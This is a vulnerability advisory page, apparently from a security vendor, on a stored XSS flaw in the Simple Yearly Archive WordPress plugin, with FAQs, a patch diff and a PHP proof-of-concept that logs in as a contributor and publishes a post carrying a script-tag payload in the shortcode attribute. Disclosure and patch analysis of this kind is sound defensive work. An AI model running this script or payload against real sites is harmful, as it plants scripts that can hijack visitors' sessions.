What is CVE-2026-7441?

CVE-2026-7441 is a Stored Cross-Site Scripting (XSS) vulnerability in the Simple Yearly Archive plugin for WordPress, affecting versions up to and including 2.2.4. It allows authenticated users with Contributor-level access or higher to inject arbitrary web scripts via the ‘posttype’ attribute of the SimpleYearlyArchive shortcode. The vulnerability is classified under CWE-79 and has a CVSS score of 6.4 (Medium).

How does the vulnerability work?

The vulnerability occurs because the ‘posttype’ attribute of the SimpleYearlyArchive shortcode is not properly sanitized or escaped. When an attacker supplies a malicious value, it is passed to the ‘get’ method, which outputs it directly into an HTML paragraph without escaping. This allows the injected script to be rendered and executed in the browser of any user who views the affected page.

Who is affected by this vulnerability?

Any WordPress site running the Simple Yearly Archive plugin version 2.2.4 or earlier is affected. Exploitation requires an authenticated user with at least Contributor-level access, meaning users with the ability to create or edit posts and pages can exploit it. Site administrators should verify their plugin version and user roles.

How can I check if my site is vulnerable?

Check the plugin version in the WordPress admin dashboard under Plugins. If the version is 2.2.4 or lower, your site is vulnerable. Additionally, review any posts or pages that use the SimpleYearlyArchive shortcode for suspicious ‘posttype’ attributes, especially those created by lower-privileged users.

What is the risk level of this vulnerability?

The CVSS score is 6.4, indicating a Medium severity. The impact includes the ability to execute arbitrary JavaScript in the context of any user who views the injected page. This can lead to session hijacking, unauthorized actions, or data theft, but it requires an authenticated account with at least Contributor-level access.

How was the vulnerability patched?

The patch in version 2.2.5 introduces two key changes: the ‘posttype’ attribute is sanitized using ‘sanitize_key’, which strips out characters that could be used in a payload, and the output is escaped using ‘esc_html()’ and ‘esc_html__()’. These changes prevent malicious input from being rendered as executable HTML.

How can I fix or mitigate the vulnerability?

The primary fix is to update the Simple Yearly Archive plugin to version 2.2.5 or later. As a temporary mitigation, you can restrict access to the plugin’s shortcode by removing it from pages or posts, or by limiting the ability of low-privileged users to create content. Always keep plugins updated to the latest versions.

What does the proof of concept (PoC) demonstrate?

The PoC shows how an authenticated user with Contributor-level access can inject a malicious ‘posttype’ attribute into the shortcode. It uses a script to log in and create a post with the payload, which then executes when viewed. This demonstrates the practical exploitation of the vulnerability and highlights the need for patching.

Can this vulnerability be exploited by unauthenticated users?

No, exploitation requires an authenticated account with at least Contributor-level access. Unauthenticated users cannot directly exploit this vulnerability, but they could potentially leverage compromised accounts or social engineering to gain the necessary access.

What are the potential consequences of a successful attack?

A successful attack can result in the execution of arbitrary JavaScript in the browsers of site visitors, including administrators. This could lead to session hijacking, defacement, data exfiltration, or the creation of rogue admin accounts. The impact is limited to the context of the affected page and the permissions of the victim.

Are there any other affected components or dependencies?

The vulnerability is specific to the Simple Yearly Archive plugin and its shortcode. No other components or dependencies are directly affected. However, the impact can extend to the entire WordPress site if an attacker gains administrative privileges through the XSS.

What should I do if I suspect my site has been compromised?

If you suspect exploitation, immediately update the plugin to version 2.2.5 or later. Review all posts and pages for suspicious shortcode attributes and remove any malicious content. Change passwords for all user accounts, especially administrators, and consider using a security plugin to scan for backdoors or other malware.

Published : August 5, 2026

CVE-2026-7441: Simple Yearly Archive <= 2.2.4 Authenticated (Contributor+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

CVE ID CVE-2026-7441

Plugin simple-yearly-archive

Severity Medium (CVSS 6.4)

CWE 79

Vulnerable Version 2.2.4

Patched Version 2.2.5

Disclosed August 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-7441:

Atomic Edge analysis of CVE-2026-7441 identifies a Stored Cross-Site Scripting (XSS) vulnerability in the Simple Yearly Archive plugin for WordPress, affecting versions up to and including 2.2.4. The vulnerability resides in the `posttype` attribute of the `SimpleYearlyArchive` shortcode. An authenticated attacker with Contributor-level access or higher can inject arbitrary web scripts that execute whenever a user accesses the injected page. The CVSS score is 6.4, and the issue is classified under CWE-79.

The root cause is the lack of sanitization and output escaping on the `posttype` attribute. The vulnerable code path begins in the `register_shortcode` function at line 502 of `simple-yearly-archive.php`. This function extracts the `posttype` parameter from the shortcode attributes using `extract(shortcode_atts(…))`. The unsanitized value is then passed to the `get` method. Inside `get`, the value of `$this->post_type_array` is iterated, and if the post type is not registered, the plugin outputs it directly into an HTML paragraph with `sprintf(__(‘The post type “%s” does not seem to be registered or available.’), $pt)`. This direct output without escaping allows a crafted payload in the `posttype` attribute to be rendered as HTML and JavaScript on the page.

Exploitation requires an attacker to have at least Contributor-level access to a WordPress site. The attacker creates or edits a post or page and inserts the `SimpleYearlyArchive` shortcode with a malicious `posttype` attribute. For example, the shortcode `[SimpleYearlyArchive posttype=”post”>alert(1)”]` would cause the unescaped value to be rendered. When a user views the injected page, the script executes in their browser. The process of exploitation leverages the standard WordPress shortcode rendering, requiring no other special conditions beyond the attacker’s authenticated session.

The patch, implemented in version 2.2.5, introduces two key changes. First, the `posttype` attribute is sanitized in `register_shortcode` using `sanitize_key`. This function strips out all characters except lowercase alphanumerics, dashes, and underscores, effectively neutralizing script payloads. Second, the output within the `get` method is escaped using `esc_html()` on the post type name and `esc_html__()` for the translated string. This ensures that even if a malicious value reaches the output, it is rendered as plain text, not executable HTML. These changes prevent both the injection of malicious content and its execution.

If successfully exploited, this vulnerability allows an attacker to execute arbitrary JavaScript in the context of any user who views the affected page. This can lead to session hijacking, where the attacker steals the administrator’s cookies, or to performing actions on behalf of the victim, such as creating new admin accounts or modifying site content. The attack has a direct impact on confidentiality, integrity, and availability, as the injected script can exfiltrate data, deface the site, or force the victim’s browser to perform unintended actions.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/simple-yearly-archive/simple-yearly-archive.php
+++ b/simple-yearly-archive/simple-yearly-archive.php
@@ -1,7 +1,7 @@
 <?php
 /*
  * Plugin Name: Simple Yearly Archive
- * Version: 2.2.4
+ * Version: 2.2.5
  * Plugin URI: https://www.schloebe.de/wordpress/simple-yearly-archive-plugin/
  * Description: A simple, clean yearly list of your archives.
  * Author: Oliver Schlöbe
@@ -34,23 +34,23 @@
  */
 class SimpleYearlyArchive
 {
-	private static $instance = null;
-	private $plugin_path;
-	private $plugin_url;
-	private $gmt_offset;
-	private $sort_order;
-	private $post_status;
-	private $post_type;
-	private $post_type_array;
-	public $text_domain = 'simple-yearly-archive';
-	private $slug = 'simple-yearly-archive';
-	private $shortcode = 'SimpleYearlyArchive';
-	private $plugin_version = '2.2.4';
+	private static ?SimpleYearlyArchive $instance = null;
+	private string $plugin_path;
+	private string $plugin_url;
+	private int $gmt_offset;
+	private string $sort_order;
+	private array $post_status;
+	private string $post_type;
+	private array $post_type_array;
+	public string $text_domain = 'simple-yearly-archive';
+	private string $slug = 'simple-yearly-archive';
+	private string $shortcode = 'SimpleYearlyArchive';
+	private string $plugin_version = '2.2.5';

 	/**
 	 * Creates or returns an instance of this class.
 	 */
-	public static function get_instance()
+	public static function get_instance(): SimpleYearlyArchive
 	{
 		if (null == self::$instance) {
 			self::$instance = new self();
@@ -110,14 +110,14 @@
 	 * @since	0.7
 	 * @author	wordpress@schloebe.de
 	 *
-	 * @param	string
-	 * @param	int|string
-	 * @param	int|string
-	 * @param	string
-	 * @param	int|string
-	 * @return	int|string
+	 * @param	string $format
+	 * @param	int|string $excludeCat
+	 * @param	int|string $includeCat
+	 * @param	string $posttype
+	 * @param	string $dateformat
+	 * @return	string
 	 */
-	public function get($format, $excludeCat = '', $includeCat = '', $posttype = '', $dateformat = '')
+	public function get(string $format, string $excludeCat = '', string $includeCat = '', string $posttype = '', string $dateformat = ''): string
 	{
 		global $wpdb, $PHP_SELF, $wp_version;

@@ -131,8 +131,11 @@
 		$output = '';

 		foreach ($this->post_type_array as $pt) {
-			if (!in_array($pt, $sya_post_types)) {
-				$output .= "<p>" . sprintf(__('The post type "%s" does not seem to be registered or available.', 'simple-yearly-archive'), $pt) . "</p>";
+			if (!in_array($pt, $sya_post_types, true)) {
+				$output .= "<p>" . sprintf(
+					esc_html__('The post type "%s" does not seem to be registered or available.', 'simple-yearly-archive'),
+					esc_html($pt)
+				) . "</p>";
 				$output = apply_filters('sya_archive_output', $output);
 				return $output;
 			}
@@ -318,13 +321,13 @@
 	 *
 	 * @since	0.7
 	 * @author	wordpress@schloebe.de
-	 * @param	string
-	 * @param	int|string
-	 * @param	int|string
-	 * @param	int|string
-	 * @param	int|string
+	 * @param	string $format
+	 * @param	int|string $excludeCat
+	 * @param	int|string $includeCat
+	 * @param	int|string $posttype
+	 * @param	int|string $dateformat
 	 */
-	public function display($format = 'yearly', $excludeCat = '', $includeCat = '', $posttype = 'post', $dateformat = '')
+	public function display(string $format = 'yearly', string $excludeCat = '', string $includeCat = '', string $posttype = 'post', string $dateformat = '')
 	{
 		echo $this->get($format, $excludeCat, $includeCat, $posttype, $dateformat);
 	}
@@ -335,7 +338,7 @@
 	 * @since	1.7.0
 	 * @author	wordpress@schloebe.de
 	 *
-	 * @param 	array|object
+	 * @param 	array|object $syaposts
 	 * @return	array|object
 	 */
 	public function get_archive_posts($syaposts)
@@ -417,10 +420,10 @@
 	 * @since	1.7.0
 	 * @author	wordpress@schloebe.de
 	 *
-	 * @param	string
-	 * @param	int|string
+	 * @param	string $format
+	 * @param	array $syaargs
 	 */
-	public function setup_args($format, &$syaargs)
+	public function setup_args(string $format, array &$syaargs)
 	{
 		if ($format == 'yearly_act') {
 			$syaargs['year'] = date('Y');
@@ -461,7 +464,7 @@
 	 * @param	array $yeararray
 	 * @return	array
 	 */
-	public function get_overview($yeararray)
+	public function get_overview(array $yeararray): array
 	{
 		$years = [];
 		foreach ($yeararray as $year) {
@@ -476,11 +479,11 @@
 	 * @since	1.6.2
 	 * @author	wordpress@schloebe.de
 	 *
-	 * @param	$code string
-	 * @param	$wplang string
+	 * @param	string $code
+	 * @param	string $wplang
 	 * @return	string
 	 */
-	public function wpml_get_locale_from_code($code, $wplang)
+	public function wpml_get_locale_from_code(string $code, string $wplang): string
 	{
 		global $wpdb;

@@ -496,18 +499,21 @@
 	 * @since	1.1.0
 	 * @author	wordpress@schloebe.de
 	 *
-	 * @param	mixed
+	 * @param	array $atts
 	 * @return	string
 	 */
-	public function register_shortcode($atts)
+	public function register_shortcode(array $atts): string
 	{
-		extract(shortcode_atts([
+		$defaults = shortcode_atts([
 			'type' => 'yearly',
 			'exclude' => '',
 			'include' => '',
 			'posttype' => 'post',
 			'dateformat' => ''
-		], $atts, $this->shortcode));
+		], $atts, $this->shortcode);
+		extract($defaults);
+
+		$posttype = isset($atts['posttype']) ? sanitize_key($atts['posttype']) : 'post';

 		return $this->get($type, $exclude, $include, $posttype, $dateformat);
 	}
@@ -518,13 +524,13 @@
 	 * @since 0.7
 	 * @author wordpress@schloebe.de
 	 *
-	 * @param string
+	 * @param string $syapost
 	 * @return string
 	 */
-	public function parse_inline($syapost)
+	public function parse_inline(string $syapost): string
 	{
 		if (substr_count($syapost, '<!--simple-yearly-archive-->') > 0) {
-			$sya_archives = $this->get($format, $excludeCat);
+			$sya_archives = $this->get('yearly', '');
 			$syapost = str_replace('<!--simple-yearly-archive-->', $sya_archives, $syapost);
 		}
 		return $syapost;
@@ -536,7 +542,7 @@
 	 * @since 0.8
 	 * @author wordpress@schloebe.de
 	 */
-	public function set_default_options()
+	public function set_default_options(): void
 	{
 		if (get_option('sya_dateformat') == false) {
 			update_option('sya_dateformat', 'd/m');
@@ -600,22 +606,22 @@
 		}
 	}

-	public function get_plugin_url()
+	public function get_plugin_url(): string
 	{
 		return $this->plugin_url;
 	}

-	public function get_plugin_path()
+	public function get_plugin_path(): string
 	{
 		return $this->plugin_path;
 	}

-	public function get_plugin_version()
+	public function get_plugin_version(): string
 	{
 		return $this->plugin_version;
 	}

-	public function get_plugin_slug()
+	public function get_plugin_slug(): string
 	{
 		return $this->slug;
 	}
@@ -623,7 +629,7 @@
 	/**
 	 * Place code that runs at plugin activation here.
 	 */
-	public function activation()
+	public function activation(): void
 	{
 		$this->set_default_options();
 	}
@@ -631,28 +637,28 @@
 	/**
 	 * Place code that runs at plugin deactivation here.
 	 */
-	public function deactivation()
+	public function deactivation(): void
 	{
 	}

 	/**
 	 * Enqueue and register JavaScript files here.
 	 */
-	public function register_scripts()
+	public function register_scripts(): void
 	{
 	}

 	/**
 	 * Enqueue and register CSS files here.
 	 */
-	public function register_styles()
+	public function register_styles(): void
 	{
 	}

 	/**
 	 * Place code for your plugin's functionality here.
 	 */
-	private function run()
+	private function run(): void
 	{
 	}
 }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-7441 - Simple Yearly Archive <= 2.2.4 - Authenticated (Contributor+) Stored Cross-Site Scripting

/**
 * Proof of Concept for CVE-2026-7441
 *
 * This script demonstrates how an authenticated user with Contributor-level access
 * can inject a Stored XSS payload via the 'posttype' attribute of the
 * SimpleYearlyArchive shortcode.
 *
 * Usage:
 *   php poc.php
 */

// --- Configuration ---
$target_url = 'http://example.com';  // Replace with the target WordPress site URL
$username = 'contributor_user';      // Replace with a valid username (Contributor role or higher)
$password = 'contributor_password';  // Replace with the user's password

// --- cURL Helper Function ---
function make_request($url, $method = 'GET', $data = null, $cookies = null, $headers = null) {
    $ch = curl_init();

    $options = [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_COOKIEFILE => 'cookies.txt',
        CURLOPT_COOKIEJAR => 'cookies.txt',
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false
    ];

    if ($method === 'POST') {
        $options[CURLOPT_POST] = true;
        $options[CURLOPT_POSTFIELDS] = $data;
    }

    if ($cookies) {
        $options[CURLOPT_COOKIE] = $cookies;
    }

    if ($headers) {
        $options[CURLOPT_HTTPHEADER] = $headers;
    }

    curl_setopt_array($ch, $options);

    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $error = curl_error($ch);

    curl_close($ch);

    if ($error) {
        die('cURL error: ' . $error . "n");
    }

    return ['code' => $http_code, 'body' => $response];
}

// --- Step 1: Login ---
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

$response = make_request($login_url, 'POST', $login_data);

if ($response['code'] !== 200) {
    echo "[!] Login failed (HTTP {$response['code']})n";
    echo "[+] Possible that multi-factor authentication is required.n";
    echo "[+] Manual login may be necessary. Continuing with the assumption of valid session cookies in 'cookies.txt'n";
} else {
    echo "[+] Login request sent. Checking for authentication...n";
}

// --- Step 2: Get nonce and create a new post ---
$new_post_url = $target_url . '/wp-admin/post-new.php';
$response = make_request($new_post_url);

if ($response['code'] !== 200) {
    die('[!] Failed to access post editor. Check login status.n');
}

preg_match('/name="_wpnonce" value="([^"]+)"/', $response['body'], $matches);
$nonce = $matches[1] ?? '';

if (empty($nonce)) {
    echo "[!] Could not extract nonce. Trying alternative method...n";
    // Fallback: Try to get REST API nonce
    preg_match('/wpApiSettings:{"root":"[^"]+","nonce":"([^"]+)"/', $response['body'], $matches);
    $nonce = $matches[1] ?? '';
    if (empty($nonce)) {
        die('[!] Failed to obtain nonce.n');
    }
}

// --- Step 3: Craft malicious post with XSS payload ---
$payload = 'post";><script>alert('CVE-2026-7441')</script>';
$post_content = '[SimpleYearlyArchive posttype="' . $payload . '"]';

$post_data = [
    'post_title' => 'CVE-2026-7441 XSS Test',
    'content' => $post_content,
    'post_status' => 'draft',
    'post_type' => 'post',
    '_wpnonce' => $nonce
];

$post_url = $target_url . '/wp-admin/post.php';
$response = make_request($post_url, 'POST', $post_data);

if ($response['code'] === 200 || $response['code'] === 302) {
    echo "[+] Post created successfully.n";
    echo "[+] Check the post content for stored XSS.n";
    echo "[+] Visit the post to see if the alert triggers.n";
} else {
    echo '[!] Failed to create post (HTTP ' . $response['code'] . ').n';
}

// --- Step 4: Alternative approach using REST API ---
$api_nonce_file = 'cookies.txt';
$cookie_file_content = file_get_contents($api_nonce_file);
$rest_nonce = '';
if (preg_match('/wordpress_logged_in/', $cookie_file_content)) {
    $rest_url = $target_url . '/wp-json/wp/v2/users/me';
    $response_me = make_request($rest_url, 'GET', null, null, ['X-WP-Nonce: ' . $nonce]);
    if ($response_me['code'] === 200) {
        echo "[+] REST API authentication verified.n";
        $rest_post_url = $target_url . '/wp-json/wp/v2/posts';
        $post_payload = [
            'title' => 'CVE-2026-7441 REST XSS',
            'content' => $post_content,
            'status' => 'publish'
        ];
        $response_r = make_request(
            $rest_post_url,
            'POST',
            json_encode($post_payload),
            null,
            [
                'X-WP-Nonce: ' . $nonce,
                'Content-Type: application/json'
            ]
        );
        if ($response_r['code'] === 201) {
            $post_data_r = json_decode($response_r['body'], true);
            echo "[+] Post published via REST API. Post ID: " . $post_data_r['id'] . "n";
            echo "[+] Visit: " . $post_data_r['link'] . "n";
        } else {
            echo '[!] REST API post creation failed (HTTP ' . $response_r['code'] . ').n';
        }
    }
}

// --- Cleanup ---
echo "[+] Exploitation attempt complete.n";
echo "[+] If the XSS executes, you should see an alert box with 'CVE-2026-7441'.n";

Frequently Asked Questions

What is CVE-2026-7441?
Vulnerability overview
CVE-2026-7441 is a Stored Cross-Site Scripting (XSS) vulnerability in the Simple Yearly Archive plugin for WordPress, affecting versions up to and including 2.2.4. It allows authenticated users with Contributor-level access or higher to inject arbitrary web scripts via the ‘posttype’ attribute of the SimpleYearlyArchive shortcode. The vulnerability is classified under CWE-79 and has a CVSS score of 6.4 (Medium).
How does the vulnerability work?
Technical explanation
The vulnerability occurs because the ‘posttype’ attribute of the SimpleYearlyArchive shortcode is not properly sanitized or escaped. When an attacker supplies a malicious value, it is passed to the ‘get’ method, which outputs it directly into an HTML paragraph without escaping. This allows the injected script to be rendered and executed in the browser of any user who views the affected page.
Who is affected by this vulnerability?
Affected users and roles
Any WordPress site running the Simple Yearly Archive plugin version 2.2.4 or earlier is affected. Exploitation requires an authenticated user with at least Contributor-level access, meaning users with the ability to create or edit posts and pages can exploit it. Site administrators should verify their plugin version and user roles.
How can I check if my site is vulnerable?
Detection steps
Check the plugin version in the WordPress admin dashboard under Plugins. If the version is 2.2.4 or lower, your site is vulnerable. Additionally, review any posts or pages that use the SimpleYearlyArchive shortcode for suspicious ‘posttype’ attributes, especially those created by lower-privileged users.
What is the risk level of this vulnerability?
Severity and impact
The CVSS score is 6.4, indicating a Medium severity. The impact includes the ability to execute arbitrary JavaScript in the context of any user who views the injected page. This can lead to session hijacking, unauthorized actions, or data theft, but it requires an authenticated account with at least Contributor-level access.
How was the vulnerability patched?
Patch details
The patch in version 2.2.5 introduces two key changes: the ‘posttype’ attribute is sanitized using ‘sanitize_key’, which strips out characters that could be used in a payload, and the output is escaped using ‘esc_html()’ and ‘esc_html__()’. These changes prevent malicious input from being rendered as executable HTML.
How can I fix or mitigate the vulnerability?
Immediate actions
The primary fix is to update the Simple Yearly Archive plugin to version 2.2.5 or later. As a temporary mitigation, you can restrict access to the plugin’s shortcode by removing it from pages or posts, or by limiting the ability of low-privileged users to create content. Always keep plugins updated to the latest versions.
What does the proof of concept (PoC) demonstrate?
PoC explanation
The PoC shows how an authenticated user with Contributor-level access can inject a malicious ‘posttype’ attribute into the shortcode. It uses a script to log in and create a post with the payload, which then executes when viewed. This demonstrates the practical exploitation of the vulnerability and highlights the need for patching.
Can this vulnerability be exploited by unauthenticated users?
Exploitation prerequisites
No, exploitation requires an authenticated account with at least Contributor-level access. Unauthenticated users cannot directly exploit this vulnerability, but they could potentially leverage compromised accounts or social engineering to gain the necessary access.
What are the potential consequences of a successful attack?
Impact on site and users
A successful attack can result in the execution of arbitrary JavaScript in the browsers of site visitors, including administrators. This could lead to session hijacking, defacement, data exfiltration, or the creation of rogue admin accounts. The impact is limited to the context of the affected page and the permissions of the victim.
Are there any other affected components or dependencies?
Scope of vulnerability
The vulnerability is specific to the Simple Yearly Archive plugin and its shortcode. No other components or dependencies are directly affected. However, the impact can extend to the entire WordPress site if an attacker gains administrative privileges through the XSS.
What should I do if I suspect my site has been compromised?
Incident response
If you suspect exploitation, immediately update the plugin to version 2.2.5 or later. Review all posts and pages for suspicious shortcode attributes and remove any malicious content. Change passwords for all user accounts, especially administrators, and consider using a security plugin to scan for backdoors or other malware.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

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